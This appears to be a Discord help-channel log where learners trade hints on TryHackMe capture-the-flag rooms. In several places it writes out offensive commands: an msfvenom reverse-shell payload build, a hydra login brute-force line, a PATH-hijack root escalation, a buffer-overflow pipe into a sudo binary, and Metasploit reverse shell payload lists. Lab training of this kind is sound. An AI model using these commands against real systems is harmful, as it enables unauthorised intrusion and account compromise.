dusky vigil
#

@mild eagle if you're connected to the vpn then no it won't need to be exposed (or the THM virtual machine)

mild eagle
#

@dusky vigil okay tnx guess I must be doing something wrong the πŸ˜€

white salmon
keen willow
#

is rockyou okay for jack, i am bruteforcing since morning without luck

quiet stump
#

Most rooms tend to use rockyou yeah

dull marlin
#

Anyone get this bug when upgrading their shell?
@white salmon Can you share your options with us?

tidal sedge
#

@keen willow Rockyou won't work for Jack.

keen willow
#

@keen willow Rockyou won't work for Jack.
@tidal sedge I realized that, so, is finding right wordlist makes this room hard ?

#

or i am entirely on wrong path, I am bruteforcing coz in forum i read a shorter wordlist would work.

dull marlin
#

From my point of view, find the right wordlist can not be the sense of this room. I don't think it's the reason why it's hard.

tidal sedge
#

It's a common wordlist, it's also quite small in size hence the bruteforce will be fast .

dull marlin
#

Can you tell us, which other list did you choose?

keen willow
#

nmap.lst, john/password.lst, fasttrack.txt

#

next wud be wordpress-attacks-july2014.txt

keen willow
#

@dull marlin can you please pm me some hint.

#

Can you tell us, which other list did you choose?
@dull marlin 10-million-password-list-top-1000.txt, xato-net-10-million-passwords-10000.txt these are currenly on work.

spiral snow
#

Anyone able to assist with the reverse engineering room? I see what it's comparing the entered value to "cmp eax, xxxxx" but when converting the "xxxxx" hex value to both base32 and base64 I'm met with an incorrect answer. Any hints/tips for crackme2.bin

thorny pond
#

On linux Challenges when trying to find flag26 i've tried running find / -type f | grep -rl "^[4bceb].{27}?" and find / -type f | grep -rl "^[4bceb]", both display the same 4 files and after manually going over them i don't seem to be able to find it, any hint to the right direction?

oblique cliff
#

@thorny pond right now youre grepping the file names. you need to grep the contents of the file

#

I would research how to use find and then grep the contents of the files

thorny pond
#

ahhh that makes sense, thanks!

real storm
#

I just did agent-sudo, and even though I could only do half the room by myself, I loved it. :)
Props to DesKel

white salmon
#

Yea I enjoyed agent-sudo as well

eternal wadi
#

@proven bridge do you still accept dm for carpe diem. stuck on getting second flag πŸ˜‚

north moat
#

There no any writeup for Year of the Fox?

lean rover
#

Muir made the post protected to spite us. >.<

hasty slate
#

hey.. so in the latest box my exploit is working in local.. but it's not working inside the box

#

I added ;cat at the end. but it just breaks.

wooden mist
#

Latest box? Dave's blog?

#

@hasty slate

hasty slate
#

yes

wooden mist
#

I had many iterations of my exploit work locally but not on the box

#

Mind showing how you're passing the payload to the program?

#

Oh wait, I should ask what stage are you on first lol

hasty slate
#

root flag

#

with python..
||(python -c "print('A'*N+<payload>)" ;echo "";cat) | sudo /uid_checker||

wooden mist
#

Okie

#

Sooo that did not work for me no matter what payload I passed

hasty slate
#

though working in local? 😦

wooden mist
#

Yup

#

Pwntools was a lifesaver

#

Ssh channel ;)

hasty slate
#

hmm.. lol.. sorry.. but I don't know enough about binexp to grasp what u're trying to say xD i will just research and read up more

wooden mist
#

I don't know binex too, I got through this by gluing programs and looking at docs

hasty slate
#

yeah so using ssh not rev shell

#

I don't know binex too, I got through this by gluing programs and looking at docs
@wooden mist ohk lol

#

thanks πŸ™‚

#

@wooden mist so one thing even in the box it goes into the required function(cause it prints the msg). But the shell is not persisted.

#

just wanted to mention that.

wooden mist
#

The persistence depends on your payload

hasty slate
#

oh ohk

radiant violet
#

for year of the fox machine got user fox
is pivoting to the other user is right way to ge root?

undone path
#

Hi!! Anyone could help me with the Buffer Overflows room, i'm struggling with the last challenge

floral olive
#

How a decipher the cipher.txt in the room year of the Fox ?

radiant dew
#

Advent of Cyber, day 11. Anonymous FTP. Nearly all commands give me "500 Illegal PORT command". Passive mode doesn't work either. Any ideas?

radiant violet
#

@floral olive rabbit hole

steady stratus
#

Switch vpn servers @radiant dew it’s a known bug to happen at times (:

radiant dew
#

Switch vpn servers @radiant dew it’s a known bug to happen at times (:
@steady stratus Do you mean change machine?

steady stratus
#

Ahh noo. If you look on the access page on the THM site you can change what VPN server you’re connected to

#

Change to a different one (I.e. from eu regular 2 to regular 1)

#

If it’s your first time changing over you’ll have to regenerate your config file and use that

#

But any further switching you shouldn’t need to regenerate it again

radiant dew
#

Awww I don't like my new IP 😦

#

But at least it works now, thanks @steady stratus !

steady stratus
#

Ayyy nice one hehe. It’ll take a bit of getting used too

#

I had something like 10.10.11.23 something near to that sequence

radiant dew
#

If I change it back to my local server, will the IP stay the same? And I can use the same .ovpn file from now on?

steady stratus
#

Your ip should remain the same and you should be able to use the same config file now yes

#

It’s just the one time if you need to switch servers is all (:

radiant dew
#

Soun

#

d

lusty wigeon
#

@wooden mist can i pm you about davesblog? i have ||pwntools working on local but not remote|| wanna know how did you fixed it.

wooden mist
#

Sure

copper gate
#

Hi, can someone give me an idea regarding Intro to Python room Task #12

spiral stag
#

whats the issue?

copper gate
#

how can i pass the result of the loop to the next loop?

spiral stag
#

save it as a variable and pas it on?

#

pls dont post answers here

#

remove that pls

#

and instead of print do return

copper gate
#

why does it say return outside function?

spiral stag
#
def somefuncion(code):
  dosomething
  return value
#

should be inside the function

#

same indent

copper gate
#

so all my loops should be inside one function?

spiral stag
#

no

#

ah, you have loops, not functions

copper gate
#

i have 3 loops

#

am I doing it wrong

spiral stag
#

not necessarily

#

you need to save it in a variable tho

copper gate
#

can I dm you real quick?

spiral stag
#

sure

obsidian kettle
#

Can anyone help me with JVM reversing task 6?

spiral stag
#

which room?

obsidian kettle
spiral stag
#

a, havn't done that one yet

real storm
#

Currently doing LazyAdmin. I found the user flag by spawning a reverse shell.
I see that SSH is open and I found the db credentials, but neither do I see the port for mysql open, nor I can think of a way to privesc. Any hints?

spiral stag
#

where can you login with those creds?

#

exploit that

#

oh wait you already have rev shell

#

enumerate

real storm
#

0_0

#

Umm..okay...lemme look around more

oblique cliff
#

@real storm you don’t have a reverse shell yet do you?

#

If not try directory busting some more

#

To find where you can use those credentials

real storm
#

I found the login creds to the webportal, uploaded a shell and connected to it with nc

#

I'm gonna look into this in an hour or two, there's codechef lunchtime in 5 mins so πŸ˜›

proven bridge
#

@proven bridge do you still accept dm for carpe diem. stuck on getting second flag πŸ˜‚
@eternal wadi Absolutely

lusty swan
#

Hi

oblique cliff
#

just ask your question

white salmon
#

guys

#

in Cicada: 3301 vol1 by cryllic, i always input ||cicada|| and ||Hm5R_4_P455mhp453!|| in the vigenere cipher but then i get ||Fe5P_4_P455jhn453!||

solemn smelt
#

try the opposite way πŸ‘€

white salmon
#

OOF

solemn smelt
#

that was actually an error on my part then I was too lazy to fix it and just made it part of the challenge

white salmon
#

crap it didnt spoil the image

#

@solemn smelt

solemn smelt
#

use cyberchef and go the other way

white salmon
#

the key needs to have only letters

#

ohhhhhhhhhh

#

wait

#

ahhh

#

nevermind i got it thanks

crystal aurora
#

What is the 11-bit arbitration ID in Hex for the turn signals?

regal comet
#

Hey guys, re yotf’s root flag; did anyone get it in the way that was intended? I understand the vulnerability used by others has been patched.

rich gust
#

hey all - stuck in kenobi on the last task.
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu

When I execute the latter, I still get the standard status check message - no root terminal. I've bounced the machine 3 times and still the same results. Any idea?

patent token
#

Which option are you selecting?

rich gust
#

option1

patent token
#

Also, make sure you are in the tmp directory when running those commands.

#

If I remember correctly that is what I was doing wrong when I did it.

rich gust
#

I was afraid it'd be that simple.

#

Damnit! Now I'm embarrassed. LOL Thanks

patent token
#

Don't be. Do you understand why it wasn't working?

rich gust
#

i had created /tmp in Kenobi's home path.

patent token
#

Yep. And when you were creating curl, you weren't adding it to the /tmp directory. So when you fired off the /usr/bin/menu program, it was going through that PATH, but not finding your curl payload, so it went to the next location it could be in.

#

So eventually it found the correct one instead.

rich gust
#

That makes sense.

patent token
#

Had you declared /home/kenobi/tmp in the export PATH= statement, it would have worked if you were placing it in the /home/kenobi/tmp directory you made.

rich gust
#

I should've thought just a little bit more about the problem and I would've caught it.

patent token
#

I was stuck for about 20 minutes the other day on it while I was going back and reviewing some rooms. It happens. πŸ™‚

#

Good learning opportunity/lesson. Glad we got it sorted out for you.

rich gust
#

Thanks for the help!

patent token
#

You're very welcome.

calm ridge
inland onyx
#

@regal comet writeup is now out

lean rover
#

For YOTF?

#

I didnt see the backstory, but this would be interesting if true.

steep oriole
#

So, I am doing Custom Wordlists task 4 question 2 and I have appended an ! to the end of every word on rockyou.txt but the password is still not cracked. Am I doing this wrong?

lean rover
#

Have not done the room, but just going to say that perhaps you added an extra space or something.

#

Not sure.

steep oriole
#

Every time I check it the ! was at the end with no added characters. Using the hint to verify and the commands it shows as an example says to add a suffix. Hmmm. Might need to go back to the drawing board

lean rover
#

Perhaps. Not sure man, sorry I can't be of great help.

steep oriole
#

Nah, all good. Figured it was worth an ask just incase someone had an idea

inland onyx
#

For YOTF?
@lean rover Mhm

lean rover
#

Very nice! Hoping for it to be a good learning experience once I get stuck.

inland onyx
#

There are some interesting techniques in it (imho), although the way they're put together isn't hugely realistic.

#

No full on "CTF-only" things though -- not in the actual challenge. So no stego, or encoding or anything like that

#

Not unless you fall into a troll

carmine scroll
#

I was doing the hydra room and cracked the ssh password but the first task. I am trying with this :

#

|| hydra -l molly -P /usr/share/wordlists/rockyou.txt http-post-form "/login:username=^USER^&password=^PASS^:F=Found" http://<ip address> .||

#

can someone give a hint where I am wrong, I am stuck from a while

lean rover
#

Well, for one you don’t have an end quote...

#

Oh, it appears you do, my apologies.

#

The http://ip caught me off guard. Not used to seeing it in that place. Either way, did you use burpsuite to grab the login request?

carmine scroll
#

I can do this with burpsuite but I want to do it with hydra

#

yes i have the request in burpsuite tool

lean rover
#

Okay, can we take this to DMs?

carmine scroll
#

yes

lean rover
#

Resolved.

regal comet
#

@inland onyx you are evil πŸ™‚

#

Just saw the writeup.

hasty slate
#

^yotf? yeah the intended root route is .. like.. wow

regal comet
#

I looked at the binary and started testing but after powering off the machine twice and needing to start from scratch was a bit too much for me

#

But I guess that’s what separates a β€œgood” tester from a great one

#

Thank you πŸ™

wispy girder
#

Oh wow, I thought the shutdown binary was a troll. I never got root in the end! What were the creds/cipher files for?

hasty slate
#

umm.. let's say u got trolled .. big time πŸ™‚

inland onyx
#

@wispy girder trolls

wispy girder
#

Nice write up! I couldn't find a way to portfwd the ssh port without meterpreter. Never thought of just uploading socat!

wooden mist
#

socat seems like a very powerful tool πŸ€”

inland onyx
#

Socat is honestly my favourite tool in existence

#

And that isn't an exaggeration

#

It is literally my favourite piece of software

hasty slate
#

I actually first time used socat on that box..

inland onyx
#

Runs on anything, and has virtually limitless potential

hasty slate
#

thought it's a alternative to nc..

inland onyx
#

It is, but infinitely more powerful

#

Like, infinitely

wooden mist
#

i always used chisel for forwarding ports

inland onyx
#

I've never used chisel. It's something I really need to look into, given how much I'm loving tunneling just now.

wraith marsh
#

I always use chisel too, does socat have socks support?

inland onyx
#

It should do @wraith marsh

#

Yes. It does

wraith marsh
#

I'll check it out, chisel is a bit of a pain for socks

inland onyx
#

As I said, I have yet to find anything comparable to socat

#

Heard good things about chisel

#

But the ease for things like encrypted shells in socat is just mental

#

Pulling a full tty shell out of the box is also a far cry greater than the (initially) volatile netcat shells too

wispy girder
#

iirc there was an unintentional priv esc that you had to fix? What was that? πŸ‘€

true widget
#

guys I need help with steel mountain.I m unable to identify which|| file seve||r is running on ||8080||.

#

thanks in advance

oblique cliff
#

@true widget have your tried directory busting to see what’s there?

#

Or if you’re on the file server already have you enumerated and looked around to see the title

true widget
#

@true widget have your tried directory busting to see what’s there?
@oblique cliff cant i find it using nmap by running it specificly on port ||8080||

#

nope I haent ised the directory buster yet

oblique cliff
#

Maybe try that out then

true widget
solemn smelt
#

Try looking at source code

true widget
#

Try looking at source code
@solemn smelt didnt find anything

solemn smelt
#

Look harder

#

or wait I might be thinking of another room never mind

#

No I’m right look at the source code

true widget
#

No I’m right look at the source code
@solemn smelt okk i ll try harder

solemn smelt
#

you could also look at the information given to you on the webpage itself and get the same result

true widget
#

you could also look at the information given to you on the webpage itself and get the same result
@solemn smelt cant find it by looking at source code

rich gust
#

Steel Mountain. Found the exploit with msf... used it, configured, and ran. I get an error when sending the payload.
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete

solemn smelt
#

look for the creators link in the source code

#

also make sure you’re looking at the source code of the file server

true widget
#

also make sure you’re looking at the source code of the file server
@solemn smelt i cant find it

oblique cliff
#

@true widget it says it in that pic you sent

#

And as cryllic said the source code says it just look closer at the page

#

@rich gust that’s just a warning you can ignore it. Did you set your lhost?

rich gust
#

I did. Exploit completed, but no session was created.

oblique cliff
#

Can you show your options

rich gust
oblique cliff
#

Incorrect payload

rich gust
#

oh snap. we need TCP for this one

true widget
#

@oblique cliff ||HttpFileServer httpd 2.3||?

oblique cliff
#

Try it out and see if it works

rich gust
#

yep. that's what it was.

true widget
#

Try it out and see if it works
@oblique cliff i tried ||favicon http file server ||but it also didnt work

white salmon
#

I need help for the decoding in Year of the Fox any hints for me?

oblique cliff
#

@true widget just keep playing around with names youre in the right track

true widget
#

@true widget just keep playing around with names youre in the right track
@oblique cliff found it

oblique cliff
#

Awesome!

patent token
#

Tripwire, you're going to need something other than the default payload for basically everything Windows related until Rapid7 patches the issue.

true widget
#

Awesome!
@oblique cliff instead of using metasploit to get an initial shell cant i directly use it with python

oblique cliff
#

@true widget there are several different approaches to getting an initial shell on that box

patent token
#

My 100% manual method is fun, but a bit advanced. πŸ˜‰

true widget
#

@true widget there are several different approaches to getting an initial shell on that box
@oblique cliff should i use the exploit on ||8080||?

patent token
#

Hey there Myk17. You should probably try to do some of it on your own first, and if you have issues, come back for a hint.

#

If you're unsure what you're doing, which is ok, we really do recommend trying some of the introductory rooms first. Things like RP:Nmap, RP:Metasploit, etc.

#

Additionally, please check the writeups that are in the room first as these will generally have the answer you're looking for, and do a better job at showing/explaining the task you're currently on without trying to do it through a chat box here.

true widget
#

If you're unsure what you're doing, which is ok, we really do recommend trying some of the introductory rooms first. Things like RP:Nmap, RP:Metasploit, etc.
@patent token okkay buddy

patent token
#

If you're unable to solve your issue at that point, stop back in #room-help and another community member or one of us Community Mentors would be happy to help more. πŸ™‚

patent token
#

If you are working on a Windows machine and are using Metasploit, it is currently defaulting to reverse_https payloads, which will likely not work. Please set your payload manually for the time being to one of the following:

windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp

If one of these do not work, we will be glad to help assist further.

fallen jolt
#

does metasploit have any more help then on the -- help command? been looking for a while for [ What option sets the architecture to be exploited?} but cant find anything about architecture.

ofc checked google aswell

patent token
#

Have you tried show targets

#

?

fallen jolt
#

hmm nope that didnt help much

#

found it!

rich gust
#

How can I switch back to meterpreter from powershell?

#

ctrl+z kills the session :-(

median compass
#

typing background ?

dull palm
#

Hello ya'll hope everyone is doing well. Have a question about Post-Exploitation Basics: Task2, #3, I have a hidden file in users. dir -force does not show a hidden file except desktop.ini

#

dont want answer just guidance

hasty slate
#

ctrl+z kills the session :-(
@rich gust no it doesn't. It pushes it to background. you can use sessions <id> to get back that session. also from linux perspective u can type fg to get that program.

solemn smelt
#

@dull palm why do you assume that it’s a file

dull palm
#

i dont assume ever πŸ™‚ but dir -force searches for hidden files/ folders yes?

solemn smelt
#

don’t know never used it. reread the question

rich gust
oblique cliff
#

Did you set up a listener @rich gust

#

It’ll still throw that error

#

But you should get a reverse shell

rich gust
#

I did...

#

but no reverse shell

patent token
#

Can you share in spoiler brackets what the msfvenom payload you used is?

rich gust
#

||msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.1.62 LPORT=5555 -f exe -o Advanced.exe||

patent token
#

If you're trying to connect via netcat, a Meterpreter shell isn't going to work.

rich gust
#

πŸ™

patent token
#

You need to use a ||windows/shell/reverse_tcp|| shell

#

That explains how you got a connection back, but crashed right away.

rich gust
#

I see

#

oof... lol now it's saying The specified service does not exist as an installed service. and the netcat listener still connects but drops right away

#

im going to start back with a fresh machine to make sure I'm doing this right

#

... got it!

patent token
#

Glad we got that sorted out for you.

rich gust
#

||windows/shell_reverse_tcp|| is what I needed... instead of '_' I had '/' in the first position

oblique cliff
#

Nice!

rich gust
#

It's the little things that get you.

oblique cliff
#

Always πŸ™‚

dull palm
#

Disregard i founded it

rich gust
#

Can I post a screenshot of success?

patent token
#

Nice one! Congrats.

rich gust
#

@patent token I like how your writeup provides just enough detail to make the reader think about what they're doing.

patent token
#

πŸ™‚

clear cargo
#

nvm

steep oriole
#

FINALLY finished yotf. Thanks to the write up giving me a push in the right direction to figure out the web portion. Took me almost a day after that to beat the rest of the box . Thanks @inland onyx for the great box. Learned some new tricks πŸ™‚

white salmon
#

i am interesting in the unintended route that was patched... now that there is a writeup will you share it ?

indigo ridge
#

in yotf writeup why there is '(back ward slash)' in starting and end of the command injection..
target : ""; something echo""
and why this echo..

#

\

solemn smelt
#

hmmm what writeup are you referring to muirland hasn’t released yet?

#

Nvm

#

he did

indigo ridge
#

it is released

median compass
#

i had to wrap my injection in || `backticks` ||@indigo ridge, maybe the \ is just a typo from trying to escape them

#

The unintended route was to use lxc @white salmon, originally the fox user was in the lxc group and it meant you could import a container where you have root privs and mount the host filesystem in it

white salmon
#

understand all ... you could have just said lxc

one of my favorite paths to root!

median compass
#

and you could have just said thanks for the answer @white salmon

white salmon
#

Fair play

carmine scroll
#

Can someone help with cve-2019-9053 exploit? I am trying to do simple CTF room but stuck with the exploit.

oblique cliff
#

@carmine scroll sure, whats up?

#

do you have a specific question?

carmine scroll
#

Actually, I am stuck with python errors of this exploit. Can i post a ss of errors i am facing? or can I DM you?

oblique cliff
#

put them as spoilers, but sure to either

hasty slate
#

i am interesting in the unintended route that was patched... now that there is a writeup will you share it ?
@white salmon also smbpasswd

white salmon
#

thanks Legndery... didn't even think to check to abuse that

carmine scroll
#

Thanks @oblique cliff

echo thunder
#

Hi all

#

I need a clarification regarding yotf. Can anyone ping me please

#

?

toxic scarab
#

@echo thunder what's the question?

echo thunder
#

When I try to get reverse shell with socat the shell does not come back

#

it seems that the terminal is freezing

toxic scarab
#

try asking this in #room-help - you need more than a hint

echo thunder
#

I watched also the write-up

#

And it is the same sintax

tardy python
#

hey i m stucked on binexp room on binary 2, anyone solved it ?

worthy iris
#

hey guys, any idea how to play an mp3 file via terminal?

oblique cliff
#

@tardy python what exactly is your question?

#

@worthy iris no need to play it in your terminal

tardy python
#

the payload not working for me, myabe i missed something

worthy iris
#

@worthy iris no need to play it in your terminal
@oblique cliff ok I'll keep looking

oblique cliff
#

Nothing to look for. Just get it onto your host OS and play it there

worthy iris
#

o

oblique cliff
#

Oh sorry. You do have to play the file. I just meant you don’t strictly have to do it in yo ur terminal. Just playing it regularly is fine

tardy python
#

can you check my script pretty quick ? can i dm you? @oblique cliff

oblique cliff
#

No I wanna play bass. You can put it here and I’ll answer when I’m done or someone else can if they’re available

worthy iris
#

ty bob

granite pelican
#

Three letter technical term abbreviation for a WiFi password ?

#

Nvm, just had to Google HARDER

granite pelican
#

How dost one open/view a file in an smb server

devout palm
#

@granite pelican normally you'd download the file from the smb server

granite pelican
#

Ok so I'm in the Network Services room. I'm in the profiles share and 4-4 says 'look around, who's profile dis'

Is there something I'm supposed to get from the files listed? If I can't open them?

wispy bloom
#

can you see who owns them?

granite pelican
#

No. There's D, DH, and H next to them, unsure about that

wispy bloom
#

I haven't done that room but are there multiple directories?

#

Even if you can't open the file, you enumerate the directories and files within and it might give you a clue

granite pelican
#

If D stands for directory, what does DH and H stand for

wispy bloom
#

I have no idea what you're looking at. are you running ls or something to view it?

granite pelican
#

Yeah ls.
For ex .cache is DH
.profile is H
.ssh is DH
And I can cd into .ssh

wispy bloom
#

Well keep poking around at it. Sounds like you're close and maybe someone who has done that room might be able to help if you're still stuck

glacial mantle
#

I need some hint for the room CCT2019

#

i have ||extracted archive.zip from the image but cant figure out the passwd||

#

[Task 3] CCT-2019 for1

devout palm
#

@glacial mantle you awake?

glacial mantle
#

Yes

devout palm
#

@glacial mantle oh sorry, I thought you were stuck at the first zipfile, not archive.zip

#

just got there

glacial mantle
#

ooh

#

please drop a hint if you make any progress

devout palm
#

@glacial mantle will do, trying to figure it out myself atm.

glacial mantle
#

thanks

exotic rose
#

Looking for some hints for OWASP Juice Shop Broken Authentication task. I’ve looked thru all the reviews, found the ftp directory, but still haven’t found more info on Jim. Was thinking about using a hydra/Burp name list. Same with administrator password, was thinking about using hydra. Am I on the right path?

#

Thank you in advance!

devout palm
#

@glacial mantle i'm stuck as hell. gimme a dm if you find the solution πŸ˜›

glacial mantle
#

lol same!!

devout palm
#

I keep coming back to the enigma machine, but I can't find any cipher text that fits it, so I guess that's a later step

glacial mantle
#

Yeah the given image is of a 4 rotor enigma machine

devout palm
#

no idea how to find the passphrase for the archive.zip though, been hitting my head against the wall for the last 30 minutes or so

glacial mantle
#

lmao

devout palm
#

anyway, sleep time. good luck

glacial mantle
#

i am taking a break too, same to you!

blazing ruin
#

Not sure what I am doing wrong here ..

digital iris
#

look at what you're typing

#

and what the binary is actually called

patent token
#

In the future it will help immensely for you to use the screenshot tool instead of cell phone pictures.

#

You can open Discord in a browser.

blazing ruin
#

Can do πŸ‘

oblique cliff
#

@exotic rose the administrator password is very weak, you can either brute force or guess it πŸ™‚

mild cargo
#

Hi, can anyone help me out with this, I'm stuck at the Metasploit Box .

lean rover
#

Please, take a screenshot of your screen.

#

Or describe your issue, I can not read those.

mild cargo
#

Okay

lean rover
#

Oh, wait.

#

If you are working on a Windows machine and are using Metasploit, it is currently defaulting to reverse_https payloads, which will likely not work. Please set your payload manually for the time being to one of the following:

windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp

If one of these do not work, we will be glad to help assist further.

mild cargo
#

Yeah.. I'm virtual machine KALI and trying to exploit metasploit box. In task 5 , we have to get the session by using icecast exploit. But all the time session failed with an error REX::BindFailed The address is already in use or unavailable.